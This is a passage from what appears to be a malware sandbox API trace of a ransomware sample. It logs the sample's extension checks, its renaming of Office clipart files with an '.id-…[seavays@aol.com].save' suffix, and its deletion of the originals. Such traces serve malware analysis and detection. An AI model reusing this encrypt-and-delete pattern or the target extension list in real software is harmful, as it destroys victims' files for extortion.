[0072.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.823] lstrlenW (lpString=".xls") returned 4 [0072.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.823] lstrlenW (lpString=".xlsx") returned 5 [0072.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.823] lstrlenW (lpString=".ppt") returned 4 [0072.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0072.824] lstrlenW (lpString=".zip") returned 4 [0072.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.824] lstrlenW (lpString=".rar") returned 4 [0072.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.824] lstrlenW (lpString=".bz2") returned 4 [0072.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.824] lstrlenW (lpString=".7z") returned 3 [0072.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0072.824] lstrlenW (lpString=".dbf") returned 4 [0072.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0072.824] lstrlenW (lpString=".1cd") returned 4 [0072.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0072.824] lstrlenW (lpString=".jpg") returned 4 [0072.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.825] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.825] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.826] GetLastError () returned 0x0 [0072.826] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x384, lpOverlapped=0x0) returned 1 [0072.828] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x390, lpOverlapped=0x0) returned 1 [0072.829] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.829] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.829] SetEndOfFile (hFile=0x2f8) returned 1 [0072.829] CloseHandle (hObject=0x2f8) returned 1 [0072.829] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.829] SetEndOfFile (hFile=0x2e8) returned 1 [0072.830] CloseHandle (hObject=0x2e8) returned 1 [0072.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0072.831] lstrlenW (lpString=".doc") returned 4 [0072.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.831] lstrlenW (lpString=".docx") returned 5 [0072.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.831] lstrlenW (lpString=".pdf") returned 4 [0072.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.831] lstrlenW (lpString=".xls") returned 4 [0072.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.831] lstrlenW (lpString=".xlsx") returned 5 [0072.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.831] lstrlenW (lpString=".ppt") returned 4 [0072.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0072.831] lstrlenW (lpString=".zip") returned 4 [0072.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.831] lstrlenW (lpString=".rar") returned 4 [0072.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.831] lstrlenW (lpString=".bz2") returned 4 [0072.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.831] lstrlenW (lpString=".7z") returned 3 [0072.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0072.831] lstrlenW (lpString=".dbf") returned 4 [0072.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0072.832] lstrlenW (lpString=".1cd") returned 4 [0072.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0072.832] lstrlenW (lpString=".jpg") returned 4 [0072.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.832] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.832] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.833] GetLastError () returned 0x0 [0072.833] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x9dc, lpOverlapped=0x0) returned 1 [0072.834] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x9e0, lpOverlapped=0x0) returned 1 [0072.835] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.835] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.835] SetEndOfFile (hFile=0x2f8) returned 1 [0072.835] CloseHandle (hObject=0x2f8) returned 1 [0072.835] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.835] SetEndOfFile (hFile=0x2e8) returned 1 [0072.836] CloseHandle (hObject=0x2e8) returned 1 [0072.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0072.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0072.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0072.837] lstrlenW (lpString=".doc") returned 4 [0072.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.837] lstrlenW (lpString=".docx") returned 5 [0072.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.837] lstrlenW (lpString=".pdf") returned 4 [0072.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.837] lstrlenW (lpString=".xls") returned 4 [0072.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.837] lstrlenW (lpString=".xlsx") returned 5 [0072.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.837] lstrlenW (lpString=".ppt") returned 4 [0072.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0072.837] lstrlenW (lpString=".zip") returned 4 [0072.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.837] lstrlenW (lpString=".rar") returned 4 [0072.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.837] lstrlenW (lpString=".bz2") returned 4 [0072.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.837] lstrlenW (lpString=".7z") returned 3 [0072.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0072.837] lstrlenW (lpString=".dbf") returned 4 [0072.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0072.838] lstrlenW (lpString=".1cd") returned 4 [0072.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0072.838] lstrlenW (lpString=".jpg") returned 4 [0072.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.838] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.838] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.839] GetLastError () returned 0x0 [0072.839] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x914, lpOverlapped=0x0) returned 1 [0072.840] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x920, lpOverlapped=0x0) returned 1 [0072.841] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.841] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.841] SetEndOfFile (hFile=0x2f8) returned 1 [0072.841] CloseHandle (hObject=0x2f8) returned 1 [0072.841] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.841] SetEndOfFile (hFile=0x2e8) returned 1 [0072.842] CloseHandle (hObject=0x2e8) returned 1 [0072.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0072.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0072.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0072.843] lstrlenW (lpString=".doc") returned 4 [0072.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.843] lstrlenW (lpString=".docx") returned 5 [0072.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.843] lstrlenW (lpString=".pdf") returned 4 [0072.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.843] lstrlenW (lpString=".xls") returned 4 [0072.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.843] lstrlenW (lpString=".xlsx") returned 5 [0072.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.843] lstrlenW (lpString=".ppt") returned 4 [0072.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0072.843] lstrlenW (lpString=".zip") returned 4 [0072.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.843] lstrlenW (lpString=".rar") returned 4 [0072.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.843] lstrlenW (lpString=".bz2") returned 4 [0072.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.844] lstrlenW (lpString=".7z") returned 3 [0072.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0072.844] lstrlenW (lpString=".dbf") returned 4 [0072.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0072.844] lstrlenW (lpString=".1cd") returned 4 [0072.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0072.844] lstrlenW (lpString=".jpg") returned 4 [0072.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.845] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.845] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.845] GetLastError () returned 0x0 [0072.845] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0072.847] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4a80, lpOverlapped=0x0) returned 1 [0072.848] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.848] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0072.848] SetEndOfFile (hFile=0x2f8) returned 1 [0072.848] CloseHandle (hObject=0x2f8) returned 1 [0072.848] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.848] SetEndOfFile (hFile=0x2e8) returned 1 [0072.849] CloseHandle (hObject=0x2e8) returned 1 [0072.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0072.850] lstrlenW (lpString=".doc") returned 4 [0072.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.850] lstrlenW (lpString=".docx") returned 5 [0072.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.850] lstrlenW (lpString=".pdf") returned 4 [0072.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.850] lstrlenW (lpString=".xls") returned 4 [0072.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.850] lstrlenW (lpString=".xlsx") returned 5 [0072.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.850] lstrlenW (lpString=".ppt") returned 4 [0072.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0072.850] lstrlenW (lpString=".zip") returned 4 [0072.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.850] lstrlenW (lpString=".rar") returned 4 [0072.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.850] lstrlenW (lpString=".bz2") returned 4 [0072.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.850] lstrlenW (lpString=".7z") returned 3 [0072.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0072.851] lstrlenW (lpString=".dbf") returned 4 [0072.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0072.851] lstrlenW (lpString=".1cd") returned 4 [0072.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0072.851] lstrlenW (lpString=".jpg") returned 4 [0072.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.537] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.537] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.685] GetLastError () returned 0x0 [0073.685] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x244, lpOverlapped=0x0) returned 1 [0073.686] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x250, lpOverlapped=0x0) returned 1 [0073.687] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.687] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.687] SetEndOfFile (hFile=0x378) returned 1 [0073.687] CloseHandle (hObject=0x378) returned 1 [0073.687] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.688] SetEndOfFile (hFile=0x390) returned 1 [0073.689] CloseHandle (hObject=0x390) returned 1 [0073.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0073.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0073.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0073.690] lstrlenW (lpString=".doc") returned 4 [0073.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.690] lstrlenW (lpString=".docx") returned 5 [0073.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.690] lstrlenW (lpString=".pdf") returned 4 [0073.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.690] lstrlenW (lpString=".xls") returned 4 [0073.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.690] lstrlenW (lpString=".xlsx") returned 5 [0073.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.690] lstrlenW (lpString=".ppt") returned 4 [0073.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0073.690] lstrlenW (lpString=".zip") returned 4 [0073.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.690] lstrlenW (lpString=".rar") returned 4 [0073.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.690] lstrlenW (lpString=".bz2") returned 4 [0073.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.690] lstrlenW (lpString=".7z") returned 3 [0073.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0073.690] lstrlenW (lpString=".dbf") returned 4 [0073.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0073.690] lstrlenW (lpString=".1cd") returned 4 [0073.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0073.691] lstrlenW (lpString=".jpg") returned 4 [0073.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.691] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.691] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: 